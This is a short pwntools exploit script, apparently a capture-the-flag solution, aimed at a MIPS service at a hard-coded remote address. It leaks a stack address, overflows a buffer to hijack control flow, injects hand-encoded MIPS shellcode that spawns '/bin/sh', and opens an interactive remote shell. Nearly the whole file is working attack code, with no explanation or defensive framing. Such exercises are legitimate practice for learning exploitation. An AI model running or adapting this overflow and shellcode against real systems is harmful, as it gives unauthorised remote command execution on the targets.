from pwn import *


#context.log_level = 'debug'
#context.update(arch='mips', endian='little')
p = remote("106.75.32.60", 10000)

p.recvuntil("help.\n")


p.sendline('2057561479')
p.recvuntil("0x")
stack_addr = int(p.recv(8), 16)

print "stack_addr =>", hex(stack_addr)
p.sendline('1'*0x70+p32(stack_addr+8))
p.recv()

payload = 'a'*8
payload += "\xff\xff\x10\x04"
payload += "\xab\x0f\x02\x24"
payload += "\x55\xf0\x46\x20"
payload += "\x66\x06\xff\x23"
payload += "\xc2\xf9\xec\x23"
payload += "\x66\x06\xbd\x23"
payload += "\x9a\xf9\xac\xaf"
payload += "\x9e\xf9\xa6\xaf"
payload += "\x9a\xf9\xbd\x23"
payload += "\x21\x20\x80\x01"
payload += "\x21\x28\xa0\x03"
payload += "\xcc\xcd\x44\x03"
payload += "/bin/sh"

p.sendline(payload)
p.recv()

p.sendline('exit')
p.interactive()